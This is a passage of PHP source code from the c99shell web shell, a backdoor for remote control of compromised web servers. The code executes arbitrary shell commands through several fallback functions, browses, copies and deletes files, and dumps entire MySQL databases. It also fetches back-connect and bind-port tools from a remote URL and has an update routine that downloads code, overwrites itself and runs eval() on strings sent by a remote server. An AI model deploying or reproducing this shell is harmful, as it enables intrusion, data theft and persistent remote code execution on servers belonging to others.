// 				\/	Next code isn't for editing	\/
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
if (!empty($login))
{
 if (empty($md5_pass)) {$md5_pass = md5($pass);}
 if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
 {
  if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  header("HTTP/1.0 401 Unauthorized");
  exit($accessdeniedmess);
 }
}
if ($act != "img")
{
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}

$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
 $disablefunc = str_replace(" ","",$disablefunc);
 $disablefunc = explode(",",$disablefunc);
}

if (!function_exists("c99_buff_prepare"))
{
function c99_buff_prepare()
{
 global $sess_data;
 global $act;
 foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
 foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
 $sess_data["copy"] = array_unique($sess_data["copy"]);
 $sess_data["cut"] = array_unique($sess_data["cut"]);
 sort($sess_data["copy"]);
 sort($sess_data["cut"]);
 if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
 else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
c99_buff_prepare();
if (!function_exists("c99_sess_put"))
{
function c99_sess_put($data)
{
 global $sess_cookie;
 global $sess_data;
 c99_buff_prepare();
 $sess_data = $data;
 $data = serialize($data);
 setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v)
{
 if (!empty($_GET[$v])) {$$v = $_GET[$v];}
 if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save)
{
 if (!empty($sort)) {setcookie("sort",$sort);}
 if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
 if (strlen($content) > $len)
 {
  $len = ceil($len/2) - 2;
  return substr($content, 0,$len)."...".substr($content,-$len);
 }
 else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
 if (!is_numeric($size)) {return false;}
 else
 {
  if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  else {$size = $size . " B";}
  return $size;
 }
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 $h = opendir($d);
 while (($o = readdir($h)) !== false)
 {
  if (($o != ".") and ($o != ".."))
  {
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   if (!$ret) {return $ret;}
  }
 }
 closedir($h);
 return true;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
 if (!is_dir(dirname($t))) {mkdir(dirname($t));}
 if (is_dir($d))
 {
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  return fs_copy_dir($d,$t);
 }
 elseif (is_file($d)) {return copy($d,$t);}
 else {return false;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
 $h = opendir($d);
 if (!is_dir($t)) {mkdir($t);}
 while (($o = readdir($h)) !== false)
 {
  if (($o != ".") and ($o != ".."))
  {
   $ret = true;
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}}
   if (!$ret) {return $ret;}
  }
 }
 closedir($h);
 return true;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
 if (is_dir($d))
 {
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  return fs_move_dir($d,$t);
 }
 elseif (is_file($d))
 {
  if(copy($d,$t)) {return unlink($d);}
  else {unlink($t); return false;}
 }
 else {return false;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
 $h = opendir($d);
 while (($o = readdir($h)) !== false)
 {
  if (($o != ".") and ($o != ".."))
  {
   if (!is_dir($d.$o)) {unlink($d.$o);}
   else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  }
 }
 closedir($h);
 rmdir($d);
 return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
 $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
 if (is_dir($o))
 {
  if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  return fs_rmdir($o);
 }
 elseif (is_file($o)) {return unlink($o);}
 else {return false;}
}
}
if (!function_exists("myshellexec"))
{
function myshellexec($cmd)
{
 global $disablefunc;
 $result = "";
 if (!empty($cmd))
 {
  if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  elseif (($result = `$cmd`) !== false) {}
  elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  elseif (is_resource($fp = popen($cmd,"r")))
  {
   $result = "";
   while(!feof($fp)) {$result .= fread($fp,1024);}
   pclose($fp);
  }
 }
 return $result;
}
}
if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
if (!function_exists("view_perms"))
{
function view_perms($mode)
{
 if (($mode & 0xC000) === 0xC000) {$type = "s";}
 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
 else {$type = "?";}

 $owner["read"] = ($mode & 00400)?"r":"-";
 $owner["write"] = ($mode & 00200)?"w":"-";
 $owner["execute"] = ($mode & 00100)?"x":"-";
 $group["read"] = ($mode & 00040)?"r":"-";
 $group["write"] = ($mode & 00020)?"w":"-";
 $group["execute"] = ($mode & 00010)?"x":"-";
 $world["read"] = ($mode & 00004)?"r":"-";
 $world["write"] = ($mode & 00002)? "w":"-";
 $world["execute"] = ($mode & 00001)?"x":"-";

 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}

 return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return false;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return false;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return false;}}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
 if (($mode & 0xC000) === 0xC000) {$t = "s";}
 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
 elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
 else {$t = "?";}
 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort"))
{
function parsesort($sort)
{
 $one = intval($sort);
 $second = substr($sort,-1);
 if ($second != "d") {$second = "a";}
 return array($one,$second);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color($o)
{
 if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
 elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
 else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
}
}
if (!function_exists("c99getsource"))
{
function c99getsource($fn)
{
 global $c99sh_sourcesurl;
 $array = array(
  "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
  "c99sh_bindport.c" => "c99sh_bindport_c.txt",
  "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
  "c99sh_backconn.c" => "c99sh_backconn_c.txt",
  "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
  "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
 );
 $name = $array[$fn];
 if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
 else {return false;}
}
}
if (!function_exists("c99sh_getupdate"))
{
function c99sh_getupdate($update = true)
{
 $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
 $data = @file_get_contents($url);
 if (!$data) {return "Can't connect to update-server!";}
 else
 {
  $data = ltrim($data);
  $string = substr($data,3,ord($data{2}));
  if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return false;}
  if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
  if ($data{0} == "\x99" and $data{1} == "\x03")
  {
   $string = explode("\x01",$string);
   if ($update)
   {
    $confvars = array();
    $sourceurl = $string[0];
    $source = file_get_contents($sourceurl);
    if (!$source) {return "Can't fetch update!";}
    else
    {
     $fp = fopen(__FILE__,"w");
     if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
     else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
    }
   }
   else {return "New version are available: ".$string[1];}
  }
  elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
  else {return "Error in protocol: segmentation failed! (".$data.") ";}
 }
}
}
if (!function_exists("mysql_dump"))
{
function mysql_dump($set)
{
 global $shver;
 $sock = $set["sock"];
 $db = $set["db"];
 $print = $set["print"];
 $nl2br = $set["nl2br"];
 $file = $set["file"];
 $add_drop = $set["add_drop"];
 $tabs = $set["tabs"];
 $onlytabs = $set["onlytabs"];
 $ret = array();
 $ret["err"] = array();
 if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
 if (empty($db)) {$db = "db";}
 if (empty($print)) {$print = 0;}
 if (empty($nl2br)) {$nl2br = 0;}
 if (empty($add_drop)) {$add_drop = true;}
 if (empty($file))
 {
  $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
 }
 if (!is_array($tabs)) {$tabs = array();}
 if (empty($add_drop)) {$add_drop = true;}
 if (sizeof($tabs) == 0)
 {
  // retrive tables-list
  $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
 }
 $out = "# Dumped by C99Shell.SQL v. ".$shver."
# Home page: http://ccteam.ru
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: \"".$db."\"
#---------------------------------------------------------
";
 $c = count($onlytabs);
 foreach($tabs as $tab)
 {
  if ((in_array($tab,$onlytabs)) or (!$c))
  {
   if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
   // recieve query for create table structure
   $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
   if (!$res) {$ret["err"][] = mysql_smarterror();}
   else
   {
    $row = mysql_fetch_row($res);
    $out .= $row["1"].";\n\n";
    // recieve table variables
    $res = mysql_query("SELECT * FROM `$tab`", $sock);
    if (mysql_num_rows($res) > 0)
    {
     while ($row = mysql_fetch_assoc($res))
     {
      $keys = implode("`, `", array_keys($row));
      $values = array_values($row);
      foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
      $values = implode("', '", $values);
      $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
      $out .= $sql;
     }
    }
   }
  }
 }
 $out .= "#---------------------------------------------------------------------------------\n\n";
 if ($file)
 {
  $fp = fopen($file, "w");
  if (!$fp) {$ret["err"][] = 2;}
  else
  {
   fwrite ($fp, $out);
   fclose ($fp);
  }
 }
 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
 return $out;
}
}
if (!function_exists("mysql_buildwhere"))
{
function mysql_buildwhere($array,$sep=" and",$functs=array())
{
 if (!is_array($array)) {$array = array();}
 $result = "";
 foreach($array as $k=>$v)
 {
  $value = "";
  if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  $value .= "'".addslashes($v)."'";
  if (!empty($functs[$k])) {$value .= ")";}
  $result .= "`".$k."` = ".$value.$sep;
 }
 $result = substr($result,0,strlen($result)-strlen($sep));
 return $result;
}
}
if (!function_exists("mysql_fetch_all"))
{
function mysql_fetch_all($query,$sock)
{
 if ($sock) {$result = mysql_query($query,$sock);}
 else {$result = mysql_query($query);}
 $array = array();
 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
 mysql_free_result($result);
 return $array;
}
}
if (!function_exists("mysql_smarterror"))
{
function mysql_smarterror($type,$sock)
{
 if ($sock) {$error = mysql_error($sock);}
 else {$error = mysql_error();}
 $error = htmlspecialchars($error);
 return $error;
}
}
if (!function_exists("mysql_query_form"))
{
function mysql_query_form()
{
 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
 if ((!$submit) or ($sql_act))
 {
  echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
  if ($tbl_struct)
  {
   echo "<td valign=\"top\"><b>Fields:</b><br>";
   foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
   echo "</td></tr></table>";
  }
 }
 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
}
}
if (!function_exists("mysql_create_db"))
{
function mysql_create_db($db,$sock="")
{
 $sql = "CREATE DATABASE `".addslashes($db)."`;";
 if ($sock) {return mysql_query($sql,$sock);}
 else {return mysql_query($sql);}
}
}
if (!function_exists("mysql_query_parse"))
{
function mysql_query_parse($query)
{
 $query = trim($query);
 $arr = explode (" ",$query);
 /*array array()
 {
  "METHOD"=>array(output_type),
  "METHOD1"...
  ...
 }
 if output_type == 0, no output,
 if output_type == 1, no output if no error
 if output_type == 2, output without control-buttons
 if output_type == 3, output with control-buttons
 */
 $types = array(
  "SELECT"=>array(3,1),
  "SHOW"=>array(2,1),
  "DELETE"=>array(1),
  "DROP"=>array(1)
 );
 $result = array();
 $op = strtoupper($arr[0]);
 if (is_array($types[$op]))
 {
  $result["propertions"] = $types[$op];
  $result["query"]  = $query;
  if ($types[$op] == 2)
  {
   foreach($arr as $k=>$v)
   {
    if (strtoupper($v) == "LIMIT")
    {
     $result["limit"] = $arr[$k+1];
     $result["limit"] = explode(",",$result["limit"]);
     if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
     unset($arr[$k],$arr[$k+1]);
    }
   }
  }
 }
 else {return false;}
}
}
if (!function_exists("c99fsearch"))
{
function c99fsearch($d)
{
 global $found;
 global $found_d;
 global $found_f;
 global $search_i_f;
 global $search_i_d;
 global $a;
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 $h = opendir($d);
 while (($f = readdir($h)) !== false)
 {
  if($f != "." && $f != "..")
  {
   $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f));
   if (is_dir($d.$f))
   {
    $search_i_d++;
    if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
    if (!is_link($d.$f)) {c99fsearch($d.$f);}
   }
   else
   {
    $search_i_f++;
    if ($bool)
    {
     if (!empty($a["text"]))
     {
      $r = @file_get_contents($d.$f);
      if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
      if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
      if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
      else {$bool = strpos(" ".$r,$a["text"],1);}
      if ($a["text_not"]) {$bool = !$bool;}
      if ($bool) {$found[] = $d.$f; $found_f++;}
     }
     else {$found[] = $d.$f; $found_f++;}
    }
   }
  }
 }
 closedir($h);
}
}
if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
//Sending headers
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown()
{
 global $gzipencode,$ft;
 if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
 {
  $v = @ob_get_contents();
  @ob_end_clean();
  @ob_start("ob_gzHandler");
  echo $v;
  @ob_end_flush();
 }
}
function c99shexit()
{
 onphpshutdown();
 exit;
}
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
if (empty($tmpdir))
{
 $tmpdir = ini_get("upload_tmp_dir");
 if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_logs);}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = true;
 $hsafemode = "<font color=red>ON (secure)</font>";
}
else {$safemode = false; $hsafemode = "<font color=green>OFF (not secure)</font>";}
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=red>".$v."</font>";}
else {$openbasedir = false; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
@ini_set("highlight.bg",$highlight_bg); //FFFFFF
@ini_set("highlight.comment",$highlight_comment); //#FF8000
@ini_set("highlight.default",$highlight_default); //#0000BB
@ini_set("highlight.html",$highlight_html); //#000000
@ini_set("highlight.keyword",$highlight_keyword); //#007700
@ini_set("highlight.string",$highlight_string); //#DD0000
if (!is_array($actbox)) {$actbox = array();}
$dspact = $act = htmlspecialchars($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\\\\","\\",$d);
$dispd = htmlspecialchars($d);
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b)
{
 $t = "";
 $j = 0;
 foreach ($e as $r)
 {
  $t.= $r.DIRECTORY_SEPARATOR;
  if ($j == $i) {break;}
  $j++;
 }
 echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
 $i++;
}
echo "&nbsp;&nbsp;&nbsp;";
if (is_writable($d))
{
 $wd = true;
 $wdt = "<font color=green>[ ok ]</font>";
 echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
}
else
{
 $wd = false;
 $wdt = "<font color=red>[ Read-Only ]</font>";
 echo "<b>".view_perms_color($d)."</b>";
}
if (is_callable("disk_free_space"))
{
 $free = disk_free_space($d);
 $total = disk_total_space($d);
 if ($free === false) {$free = 0;}
 if ($total === false) {$total = 0;}
 if ($free < 0) {$free = 0;}
 if ($total < 0) {$total = 0;}
 $used = $total-$free;
 $free_percent = round(100/($total/$free),2);
 echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
}
echo "<br>";
$letters = "";
if ($win)
{
 $v = explode("\\",$d);
 $v = $v[0];
 foreach (range("a","z") as $letter)
 {
  $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  if (!$bool) {$bool = is_dir($letter.":\\");}
  if ($bool)
  {
   $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
   if ($letter.":" != $v) {$letters .= $letter;}
   else {$letters .= "<font color=green>".$letter."</font>";}
   $letters .= " ]</a> ";
  }
 }
 if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
}
if (count($quicklaunch) > 0)
{
 foreach($quicklaunch as $item)
 {
  $item[1] = str_replace("%d",urlencode($d),$item[1]);
  $item[1] = str_replace("%sort",$sort,$item[1]);
  $v = realpath($d."..");
  if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
 }
}
echo "</p></td></tr></table><br>";
if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
